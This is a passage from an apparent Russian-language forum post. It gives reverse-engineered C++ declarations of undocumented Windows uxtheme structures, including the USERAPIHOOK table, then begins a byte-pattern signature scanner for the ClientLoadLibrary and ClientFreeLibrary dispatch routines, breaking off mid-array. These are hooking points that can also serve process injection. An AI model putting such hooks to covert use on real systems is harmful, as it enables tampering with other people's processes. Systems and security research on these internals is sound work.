&nbsp; &nbsp; WP_SMALLFRAMEBOTTOM <span class="sy1">=</span> <span class="nu12">0x0C</span>,
&nbsp; &nbsp; WP_SYSBUTTON <span class="sy1">=</span> <span class="nu12">0x0D</span>,
&nbsp; &nbsp; WP_MDISYSBUTTON <span class="sy1">=</span> <span class="nu12">0x0E</span>,
&nbsp; &nbsp; WP_MINBUTTON <span class="sy1">=</span> <span class="nu12">0x0F</span>,
&nbsp; &nbsp; WP_MDIMINBUTTON <span class="sy1">=</span> <span class="nu12">0x10</span>,
&nbsp; &nbsp; WP_MAXBUTTON <span class="sy1">=</span> <span class="nu12">0x11</span>,
&nbsp; &nbsp; WP_CLOSEBUTTON <span class="sy1">=</span> <span class="nu12">0x12</span>,
&nbsp; &nbsp; WP_SMALLCLOSEBUTTON <span class="sy1">=</span> <span class="nu12">0x13</span>,
&nbsp; &nbsp; WP_MDICLOSEBUTTON <span class="sy1">=</span> <span class="nu12">0x14</span>,
&nbsp; &nbsp; WP_RESTOREBUTTON <span class="sy1">=</span> <span class="nu12">0x15</span>,
&nbsp; &nbsp; WP_MDIRESTOREBUTTON <span class="sy1">=</span> <span class="nu12">0x16</span>,
&nbsp; &nbsp; WP_HELPBUTTON <span class="sy1">=</span> <span class="nu12">0x17</span>,
&nbsp; &nbsp; WP_MDIHELPBUTTON <span class="sy1">=</span> <span class="nu12">0x18</span>,
&nbsp; &nbsp; WP_HORZSCROLL <span class="sy1">=</span> <span class="nu12">0x19</span>,
&nbsp; &nbsp; WP_HORZTHUMB <span class="sy1">=</span> <span class="nu12">0x1A</span>,
&nbsp; &nbsp; WP_VERTSCROLL <span class="sy1">=</span> <span class="nu12">0x1B</span>,
&nbsp; &nbsp; WP_VERTTHUMB <span class="sy1">=</span> <span class="nu12">0x1C</span>,
&nbsp; &nbsp; WP_DIALOG <span class="sy1">=</span> <span class="nu12">0x1D</span>,
&nbsp; &nbsp; WP_CAPTIONSIZINGTEMPLATE <span class="sy1">=</span> <span class="nu12">0x1E</span>,
&nbsp; &nbsp; WP_SMALLCAPTIONSIZINGTEMPLATE <span class="sy1">=</span> <span class="nu12">0x1F</span>,
&nbsp; &nbsp; WP_FRAMELEFTSIZINGTEMPLATE <span class="sy1">=</span> <span class="nu12">0x20</span>,
&nbsp; &nbsp; WP_SMALLFRAMELEFTSIZINGTEMPLATE <span class="sy1">=</span> <span class="nu12">0x21</span>,
&nbsp; &nbsp; WP_FRAMERIGHTSIZINGTEMPLATE <span class="sy1">=</span> <span class="nu12">0x22</span>,
&nbsp; &nbsp; WP_SMALLFRAMERIGHTSIZINGTEMPLATE <span class="sy1">=</span> <span class="nu12">0x23</span>,
&nbsp; &nbsp; WP_FRAMEBOTTOMSIZINGTEMPLATE <span class="sy1">=</span> <span class="nu12">0x24</span>,
&nbsp; &nbsp; WP_SMALLFRAMEBOTTOMSIZINGTEMPLATE <span class="sy1">=</span> <span class="nu12">0x25</span>,
&nbsp; &nbsp; WP_FRAME <span class="sy1">=</span> <span class="nu12">0x26</span>
<span class="br0">&#125;</span> WINDOWPARTS<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw2">enum</span> _FRAMESTATES <span class="br0">&#123;</span>
&nbsp; &nbsp; FS_ACTIVE <span class="sy1">=</span> <span class="nu12">0x1</span>,
&nbsp; &nbsp; FS_INACTIVE <span class="sy1">=</span> <span class="nu12">0x2</span>
<span class="br0">&#125;</span> FRAMESTATES<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> interface ICustomDrawing ICustomDrawing<span class="sy4">;</span>
<span class="kw4">typedef</span> ICustomDrawing <span class="sy2">*</span>LPCUSTOMDRAWING<span class="sy4">;</span>
<span class="kw4">typedef</span> VOID<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>_ClassicNcPaint<span class="br0">&#41;</span><span class="br0">&#40;</span>LPCUSTOMDRAWING picd, HWND <span class="sy2">*</span>hwnd, WPARAM wParam, PWCH pszCaption<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">typedef</span> HRESULT<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>ClassicWndProc<span class="br0">&#41;</span><span class="br0">&#40;</span>PVOID pvThis, HWND <span class="sy2">*</span>hwnd, ULONG nMsg, WPARAM wParam, LPARAM lParam, PULONG_PTR plRet<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
<span class="kw2">class</span> CImageFile <span class="br0">&#123;</span>
<span class="kw2">public</span><span class="sy4">:</span>
&nbsp; &nbsp; CImageFile <span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; ~CImageFile <span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw2">private</span><span class="sy4">:</span>
<span class="br0">&#125;</span><span class="sy4">;</span>
CImageFile <span class="sy4">::</span><span class="me2">CImageFile</span> <span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><span class="br0">&#125;</span>
CImageFile <span class="sy4">::</span>~CImageFile <span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><span class="br0">&#125;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _MARGINS <span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="co1">//00000000 cxLeftWidth &nbsp; &nbsp; dd ? ; XREF: CThemeWnd::NcPaint(HDC *, ulong, HRGN *, _NCPAINTOVERIDE *) + 20C / r;</span>
&nbsp; &nbsp; <span class="co1">//00000004 cxRightWidth &nbsp; &nbsp;dd ? ; XREF: CImageFile::GetPartSize(CRenderObj const *, HDC *, RECT const *, THEMESIZE, SIZE *) + BC / r;</span>
&nbsp; &nbsp; <span class="co1">//00000008 cyTopHeight &nbsp; &nbsp; dd ? ; XREF: CImageFile::GetPartSize(CRenderObj const *, HDC *, RECT const *, THEMESIZE, SIZE *) + 5B / r;</span>
&nbsp; &nbsp; <span class="co1">//0000000C cyBottomHeight &nbsp;dd ? ; XREF: CImageFile::GetPartSize(CRenderObj const *, HDC *, RECT const *, THEMESIZE, SIZE *) + C6 / r;</span>
<span class="br0">&#125;</span> MARGINS, <span class="sy2">*</span>PMARGINS<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw2">enum</span> _CLOSEBUTTONSTATES <span class="br0">&#123;</span>
&nbsp; &nbsp; CBS_NORMAL <span class="sy1">=</span> <span class="nu12">0x1</span>,
&nbsp; &nbsp; CBS_HOT <span class="sy1">=</span> <span class="nu12">0x2</span>,
&nbsp; &nbsp; CBS_PUSHED <span class="sy1">=</span> <span class="nu12">0x3</span>,
&nbsp; &nbsp; CBS_DISABLED <span class="sy1">=</span> <span class="nu12">0x4</span>
<span class="br0">&#125;</span> CLOSEBUTTONSTATES<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _NCWNDMET <span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="co1">//00000000 fValid &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;dd ? ;</span>
&nbsp; &nbsp; <span class="co1">//00000004 fFrame &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;dd ? ;</span>
&nbsp; &nbsp; <span class="co1">//00000008 fSmallFrame &nbsp; &nbsp; dd ? ;</span>
&nbsp; &nbsp; <span class="co1">//0000000 fMin &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;dd ? ;</span>
&nbsp; &nbsp; <span class="co1">//00000010 fMaxed &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;dd ? ;</span>
&nbsp; &nbsp; <span class="co1">//00000014 fFullMaxed &nbsp; &nbsp; &nbsp;dd ? ;</span>
&nbsp; &nbsp; <span class="co1">//00000018 fDirtyRects &nbsp; &nbsp; dd ? ;</span>
&nbsp; &nbsp; <span class="co1">//0000001 fCustomFrame &nbsp; &nbsp;dd ? ;</span>
&nbsp; &nbsp; <span class="co1">//00000020 fCustom &nbsp; &nbsp; &nbsp; &nbsp; dd ? ;</span>
&nbsp; &nbsp; ULONG dwStyle<span class="sy4">;</span>
&nbsp; &nbsp; ClassicWndProc dwExStyle<span class="sy4">;</span>
&nbsp; &nbsp; ULONG dwWindowStatus<span class="sy4">;</span>
&nbsp; &nbsp; ULONG dwStyleClass<span class="sy4">;</span>
&nbsp; &nbsp; WINDOWPARTS rgframeparts<span class="sy4">;</span>
&nbsp; &nbsp; WINDOWPARTS rgsizehitparts<span class="sy4">;</span>
&nbsp; &nbsp; FRAMESTATES framestate<span class="sy4">;</span>
&nbsp; &nbsp; _ClassicNcPaint hfCaption<span class="sy4">;</span>
&nbsp; &nbsp; SIZE sizeCaptionText<span class="sy4">;</span>
&nbsp; &nbsp; MARGINS CaptionMargins<span class="sy4">;</span>
&nbsp; &nbsp; ULONG iMinButtonPart<span class="sy4">;</span>
&nbsp; &nbsp; ULONG iMaxButtonPart<span class="sy4">;</span>
&nbsp; &nbsp; CLOSEBUTTONSTATES rawCloseBtnState<span class="sy4">;</span>
&nbsp; &nbsp; CLOSEBUTTONSTATES rawMinBtnState<span class="sy4">;</span>
&nbsp; &nbsp; CLOSEBUTTONSTATES rawMaxBtnState<span class="sy4">;</span>
&nbsp; &nbsp; CLOSEBUTTONSTATES rawHelpBtnState<span class="sy4">;</span>
&nbsp; &nbsp; ULONG cyMenu<span class="sy4">;</span>
&nbsp; &nbsp; ULONG cnMenuOffsetLeft<span class="sy4">;</span>
&nbsp; &nbsp; ULONG cnMenuOffsetRight<span class="sy4">;</span>
&nbsp; &nbsp; ULONG cnMenuOffsetTop<span class="sy4">;</span>
&nbsp; &nbsp; ULONG cnBorders<span class="sy4">;</span>
&nbsp; &nbsp; ClassicWndProc rcS0<span class="sy4">;</span>
&nbsp; &nbsp; ClassicWndProc rcW0<span class="sy4">;</span>
&nbsp; &nbsp; ULONG _rgbCaption<span class="sy4">;</span>
&nbsp; &nbsp; UCHAR _fIsCaptionColorValid<span class="sy4">;</span>
&nbsp; &nbsp; UCHAR undefined<span class="br0">&#91;</span><span class="nu0">7</span><span class="br0">&#93;</span><span class="sy4">;</span>
<span class="br0">&#125;</span> NCWNDMET, <span class="sy2">*</span>PNCWNDMET<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw2">enum</span> _MSGTYPE <span class="br0">&#123;</span>
&nbsp; &nbsp; MSGTYPE_PRE_WNDPROC <span class="sy1">=</span> <span class="nu0">0</span>,
&nbsp; &nbsp; MSGTYPE_POST_WNDPROC <span class="sy1">=</span> <span class="nu0">1</span>,
&nbsp; &nbsp; MSGTYPE_PRE_DEFDLGPROC <span class="sy1">=</span> <span class="nu0">2</span>,
&nbsp; &nbsp; MSGTYPE_POST_DEFDLGPROC <span class="sy1">=</span> <span class="nu0">3</span>,
&nbsp; &nbsp; MSGTYPE_DEFWNDPROC <span class="sy1">=</span> <span class="nu0">4</span>
<span class="br0">&#125;</span> MSGTYPE<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> HRESULT<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>ThemePostDefDlgProc<span class="br0">&#41;</span><span class="br0">&#40;</span>HWND <span class="sy2">*</span>hwnd, ULONG uMsg, WPARAM wParam, LPARAM lParam, PLONG_PTR plRes, PVOID <span class="sy2">*</span>ppvData<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _THEME_MSG <span class="br0">&#123;</span>
&nbsp; &nbsp; HWND hwnd<span class="sy4">;</span>
&nbsp; &nbsp; ULONG uMsg<span class="sy4">;</span>
&nbsp; &nbsp; UCHAR undefined1<span class="br0">&#91;</span><span class="nu0">4</span><span class="br0">&#93;</span><span class="sy4">;</span>
&nbsp; &nbsp; WPARAM wParam<span class="sy4">;</span>
&nbsp; &nbsp; LPARAM lParam<span class="sy4">;</span>
&nbsp; &nbsp; MSGTYPE type<span class="sy4">;</span>
&nbsp; &nbsp; ULONG uCodePage<span class="sy4">;</span>
&nbsp; &nbsp; PVOID pfnDefProc<span class="sy4">;</span>
&nbsp; &nbsp; ULONG_PTR lRet<span class="sy4">;</span>
&nbsp; &nbsp; ThemePostDefDlgProc fHandled<span class="sy4">;</span>
&nbsp; &nbsp; UCHAR undefined2<span class="br0">&#91;</span><span class="nu0">4</span><span class="br0">&#93;</span><span class="sy4">;</span>
<span class="br0">&#125;</span> THEME_MSG, <span class="sy2">*</span>PTHEME_MSG<span class="sy4">;</span>
&nbsp;
<span class="kw2">class</span> CThemeWnd <span class="br0">&#123;</span>
<span class="kw2">public</span><span class="sy4">:</span>
&nbsp; &nbsp; CThemeWnd<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; ~CThemeWnd<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw2">private</span><span class="sy4">:</span>
<span class="br0">&#125;</span><span class="sy4">;</span>
<span class="kw2">inline</span> CThemeWnd<span class="sy4">::</span><span class="me2">CThemeWnd</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><span class="br0">&#125;</span>
CThemeWnd<span class="sy4">::</span>~CThemeWnd<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><span class="br0">&#125;</span>
&nbsp;
<span class="kw4">typedef</span> LRESULT<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>OnOwpPostThemeChanged<span class="br0">&#41;</span><span class="br0">&#40;</span>CThemeWnd <span class="sy2">*</span>pwnd, PTHEME_MSG ptm<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">typedef</span> HBRUSH<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>GetDialogColor<span class="br0">&#41;</span><span class="br0">&#40;</span>HWND <span class="sy2">*</span>hwnd<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _NCTRANSPARENCY <span class="br0">&#123;</span>
&nbsp; &nbsp; ULONG _bf0<span class="sy4">;</span>
<span class="br0">&#125;</span> NCTRANSPARENCY, <span class="sy2">*</span>PNCTRANSPARENCY<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _NCTHEMEMET <span class="br0">&#123;</span>
&nbsp; &nbsp; OnOwpPostThemeChanged hTheme<span class="sy4">;</span>
&nbsp; &nbsp; <span class="co1">//00000008 hThemeTab &nbsp; &nbsp; &nbsp; dq ? ; offset;</span>
&nbsp; &nbsp; <span class="co1">//00000010 dpi &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dd ? ; XREF: CThemeWnd::GetNcWindowMetrics(tagRECT const *, NCWNDMET * *, _NCTHEMEMET *, ULONG) + 1A4 / r;</span>
&nbsp; &nbsp; ULONG _bf14<span class="sy4">;</span>
&nbsp; &nbsp; MARGINS marCaptionText<span class="sy4">;</span>
&nbsp; &nbsp; MARGINS marMinCaptionText<span class="sy4">;</span>
&nbsp; &nbsp; <span class="co1">//00000028; CThemeWnd::GetNcWindowMetrics(tagRECT const *, NCWNDMET * *, NCTHEMEMET *, ULONG) + 82A / r;</span>
&nbsp; &nbsp; MARGINS marMaxCaptionText<span class="sy4">;</span>
&nbsp; &nbsp; MARGINS marSmCaptionText<span class="sy4">;</span>
&nbsp; &nbsp; ULONG dyMenuBar<span class="sy4">;</span>
&nbsp; &nbsp; ULONG cnSmallMaximizedWidth<span class="sy4">;</span>
&nbsp; &nbsp; ULONG cnSmallMaximizedHeight<span class="sy4">;</span>
&nbsp; &nbsp; SIZE sizeBtn<span class="sy4">;</span>
&nbsp; &nbsp; SIZE sizeSmBtn<span class="sy4">;</span>
&nbsp; &nbsp; UCHAR undefined<span class="br0">&#91;</span><span class="nu0">4</span><span class="br0">&#93;</span><span class="sy4">;</span>
&nbsp; &nbsp; GetDialogColor hbrTabDialog<span class="sy4">;</span>
&nbsp; &nbsp; <span class="co1">//00000080 hbmTabDialog &nbsp; &nbsp;dq ? ; XREF: CThemeWnd::NcPaint(HDC *, ulong, HRGN *, _NCPAINTOVERIDE *) + 2CD / w;</span>
&nbsp; &nbsp; GetDialogColor hbrAeroTabDialog<span class="sy4">;</span>
&nbsp; &nbsp; <span class="co1">//00000090 hbmAeroTabDialog dq ? ; XREF: CThemeWnd::NcPaint(HDC *, ulong, HRGN *, _NCPAINTOVERIDE *) + 22 / w;</span>
&nbsp; &nbsp; NCTRANSPARENCY nct<span class="sy4">;</span>
&nbsp; &nbsp; ULONG nGlowSize<span class="sy4">;</span>
<span class="br0">&#125;</span> NCTHEMEMET, <span class="sy2">*</span>PNCTHEMEMET<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> LRESULT<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>_ThemeDefWindowProc<span class="br0">&#41;</span><span class="br0">&#40;</span>HWND <span class="sy2">*</span>hwnd, ULONG uMsg, WPARAM wParam, LPARAM lParam, BOOL bUnicode<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">typedef</span> HRESULT<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>ThemeGetScrollInfoProc<span class="br0">&#41;</span><span class="br0">&#40;</span>HWND <span class="sy2">*</span>hwnd, LONG nBar, LPSCROLLINFO psi<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">typedef</span> HRESULT<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>ThemeSetScrollInfoProc<span class="br0">&#41;</span><span class="br0">&#40;</span>HWND <span class="sy2">*</span>hwnd, LONG nBar, LPSCROLLINFO psi, LONG fRedraw<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">typedef</span> HRESULT<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>ThemeEnableScrollInfoProc<span class="br0">&#41;</span><span class="br0">&#40;</span>HWND <span class="sy2">*</span>hwnd, ULONG nSBFlags, ULONG nArrows<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">typedef</span> HRESULT<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>ClassicAdjustWindowRectEx<span class="br0">&#41;</span><span class="br0">&#40;</span>RECT <span class="sy2">*</span>prcWnd, ULONG dwStyle, LONG fMenu, ULONG dwExStyle<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">typedef</span> HRESULT<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>ThemeSetWindowRgn<span class="br0">&#41;</span><span class="br0">&#40;</span>HWND <span class="sy2">*</span>hwnd, HRGN <span class="sy2">*</span>hrgn, LONG fRedraw<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">typedef</span> HRESULT<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>_GetNcBtnMetrics<span class="br0">&#41;</span><span class="br0">&#40;</span>PNCWNDMET pncwm, PNCTHEMEMET pnctm, HICON <span class="sy2">*</span>hAppIcon, LONG fCanClose<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">typedef</span> HRESULT<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>ClassicSystemParametersInfoA<span class="br0">&#41;</span><span class="br0">&#40;</span>ULONG uiAction, ULONG uiParam, PVOID pvParam, ULONG fWinIni<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">typedef</span> HRESULT<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>ClassicSystemParametersInfoW<span class="br0">&#41;</span><span class="br0">&#40;</span>ULONG uiAction, ULONG uiParam, PVOID pvParam, ULONG fWinIni<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">typedef</span> HRESULT<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>ThemeHookShutdown<span class="br0">&#41;</span><span class="br0">&#40;</span>VOID<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">typedef</span> HRESULT<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>ThemeDrawFrameControl<span class="br0">&#41;</span><span class="br0">&#40;</span>HDC <span class="sy2">*</span>hdc, PRECT prc, ULONG uType, ULONG uState<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">typedef</span> HRESULT<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>ThemeDrawCaption<span class="br0">&#41;</span><span class="br0">&#40;</span>HWND <span class="sy2">*</span>hwnd, HDC <span class="sy2">*</span>hdc, PRECT prc, ULONG uType<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">typedef</span> VOID<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>ThemeMDIRedrawFrame<span class="br0">&#41;</span><span class="br0">&#40;</span>HWND <span class="sy2">*</span>hwndChild, LONG fAdd<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">typedef</span> HRESULT<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>ClassicGetSystemMetricsForDpi<span class="br0">&#41;</span><span class="br0">&#40;</span>LONG iMetric, ULONG dpi<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">typedef</span> HRESULT<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>ClassicSystemParametersInfoForDpi<span class="br0">&#41;</span><span class="br0">&#40;</span>ULONG uiAction, ULONG uiParam, PVOID pvParam, ULONG fWinIni, ULONG dpi<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">typedef</span> HRESULT<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>_FreshenThemeMetricsCB<span class="br0">&#41;</span><span class="br0">&#40;</span>HWND <span class="sy2">*</span>hwnd, LPARAM lParam<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _USERAPIHOOK <span class="br0">&#123;</span>
&nbsp; &nbsp; ULONG cbSize<span class="sy4">;</span>
&nbsp; &nbsp; UCHAR undefined<span class="br0">&#91;</span><span class="nu0">4</span><span class="br0">&#93;</span><span class="sy4">;</span>
&nbsp; &nbsp; _ThemeDefWindowProc pfnDefWindowProcA<span class="sy4">;</span>
&nbsp; &nbsp; _ThemeDefWindowProc pfnDefWindowProcW<span class="sy4">;</span>
&nbsp; &nbsp; MSGMASK mmDWP<span class="sy4">;</span>
&nbsp; &nbsp; ThemeGetScrollInfoProc pfnGetScrollInfo<span class="sy4">;</span>
&nbsp; &nbsp; ThemeSetScrollInfoProc pfnSetScrollInfo<span class="sy4">;</span>
&nbsp; &nbsp; ThemeEnableScrollInfoProc pfnEnableScrollBar<span class="sy4">;</span>
&nbsp; &nbsp; ClassicAdjustWindowRectEx pfnAdjustWindowRectEx<span class="sy4">;</span>
&nbsp; &nbsp; ThemeSetWindowRgn pfnSetWindowRgn<span class="sy4">;</span>
&nbsp; &nbsp; USEROWPINFO uoiWnd<span class="sy4">;</span>
&nbsp; &nbsp; USEROWPINFO uoiDlg<span class="sy4">;</span>
&nbsp; &nbsp; _GetNcBtnMetrics pfnGetSystemMetrics<span class="sy4">;</span>
&nbsp; &nbsp; ClassicSystemParametersInfoA pfnSystemParametersInfoA<span class="sy4">;</span>
&nbsp; &nbsp; ClassicSystemParametersInfoW pfnSystemParametersInfoW<span class="sy4">;</span>
&nbsp; &nbsp; ThemeHookShutdown pfnForceResetUserApiHook<span class="sy4">;</span>
&nbsp; &nbsp; ThemeDrawFrameControl pfnDrawFrameControl<span class="sy4">;</span>
&nbsp; &nbsp; ThemeDrawCaption pfnDrawCaption<span class="sy4">;</span>
&nbsp; &nbsp; ThemeMDIRedrawFrame pfnMDIRedrawFrame<span class="sy4">;</span>
&nbsp; &nbsp; PVOID pfnBroadcastThemeChange<span class="sy4">;</span> <span class="co1">// import from USER32.dll!BroadcastThemeChangeEvent -&gt; ntdll.dll!NtUserBroadcastThemeChangeEvent</span>
&nbsp; &nbsp; ClassicGetSystemMetricsForDpi pfnGetSystemMetricsForDpi<span class="sy4">;</span>
&nbsp; &nbsp; ClassicSystemParametersInfoForDpi pfnSystemParametersInfoForDpi<span class="sy4">;</span>
&nbsp; &nbsp; _FreshenThemeMetricsCB pfnGetWindowProcess<span class="sy4">;</span>
<span class="br0">&#125;</span> USERAPIHOOK, <span class="sy2">*</span>PUSERAPIHOOK<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _UXTHEMEHOOKS <span class="br0">&#123;</span>
&nbsp; &nbsp; HINSTANCE hInst<span class="sy4">;</span>
&nbsp; &nbsp; USERAPIHOOK guah<span class="sy4">;</span>
<span class="br0">&#125;</span> UXTHEMEHOOKS, <span class="sy2">*</span>PUXTHEMEHOOKS<span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Теперь переходим к коду и пишем свой сканер сигнатур<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="121883787"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="121883787" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
</pre></td><td class="de1"><pre class="de1"><span class="co2">#include &quot;apfnDispatch.h&quot;</span>
<span class="co2">#include &lt;Psapi.h&gt;</span>
<span class="co2">#include &lt;iostream&gt;</span>
&nbsp;
<span class="co2">#pragma comment (lib, &quot;ntdll&quot;)</span>
&nbsp;
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _apfnDispatch <span class="br0">&#123;</span>
&nbsp; &nbsp; _ClientFreeLibrary ClientFreeLibrary<span class="sy4">;</span>
&nbsp; &nbsp; _ClientLoadLibrary ClientLoadLibrary<span class="sy4">;</span>
<span class="br0">&#125;</span> apfnDispatch<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _apfnSignature <span class="br0">&#123;</span>
<span class="co2">#ifdef _WIN64</span>
&nbsp; &nbsp; BYTE pattren_ClientFreeLibrary<span class="br0">&#91;</span><span class="nu0">28</span><span class="br0">&#93;</span> <span class="sy1">=</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x48</span>,<span class="nu12">0x8B</span>,<span class="nu12">0xC4</span>, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// mov rax,rsp</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x48</span>,<span class="nu12">0x89</span>,<span class="nu12">0x58</span>,<span class="nu12">0x08</span>,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// mov qword ptr ds:[rax+8],rbx</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x48</span>,<span class="nu12">0x89</span>,<span class="nu12">0x68</span>,<span class="nu12">0x10</span>,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// mov qword ptr ds:[rax+10],rbp</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x48</span>,<span class="nu12">0x89</span>,<span class="nu12">0x70</span>,<span class="nu12">0x18</span>,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// mov qword ptr ds:[rax+18],rsi</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x48</span>,<span class="nu12">0x89</span>,<span class="nu12">0x78</span>,<span class="nu12">0x20</span>,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// mov qword ptr ds:[rax+20],rdi</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x41</span>,<span class="nu12">0x56</span>,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// push r14</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x48</span>,<span class="nu12">0x83</span>,<span class="nu12">0xEC</span>,<span class="nu12">0x40</span>,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// sub rsp,40</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x48</span>,<span class="nu12">0x8B</span>,<span class="nu12">0x39</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// mov rdi,qword ptr ds:[rcx]</span>
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span> PCCH mask_ClientFreeLibrary <span class="sy1">=</span> <span class="st0">&quot;xxxxxxxxxxxxxxxxxxxxxxxxxxxx&quot;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; BYTE pattren_ClientLoadLibrary<span class="br0">&#91;</span><span class="nu0">10</span><span class="br0">&#93;</span> <span class="sy1">=</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x48</span>,<span class="nu12">0x89</span>,<span class="nu12">0x5C</span>,<span class="nu12">0x24</span>,<span class="nu12">0x10</span>, &nbsp; &nbsp; &nbsp; <span class="co1">// mov qword ptr ss:[rsp+10],rbx</span>
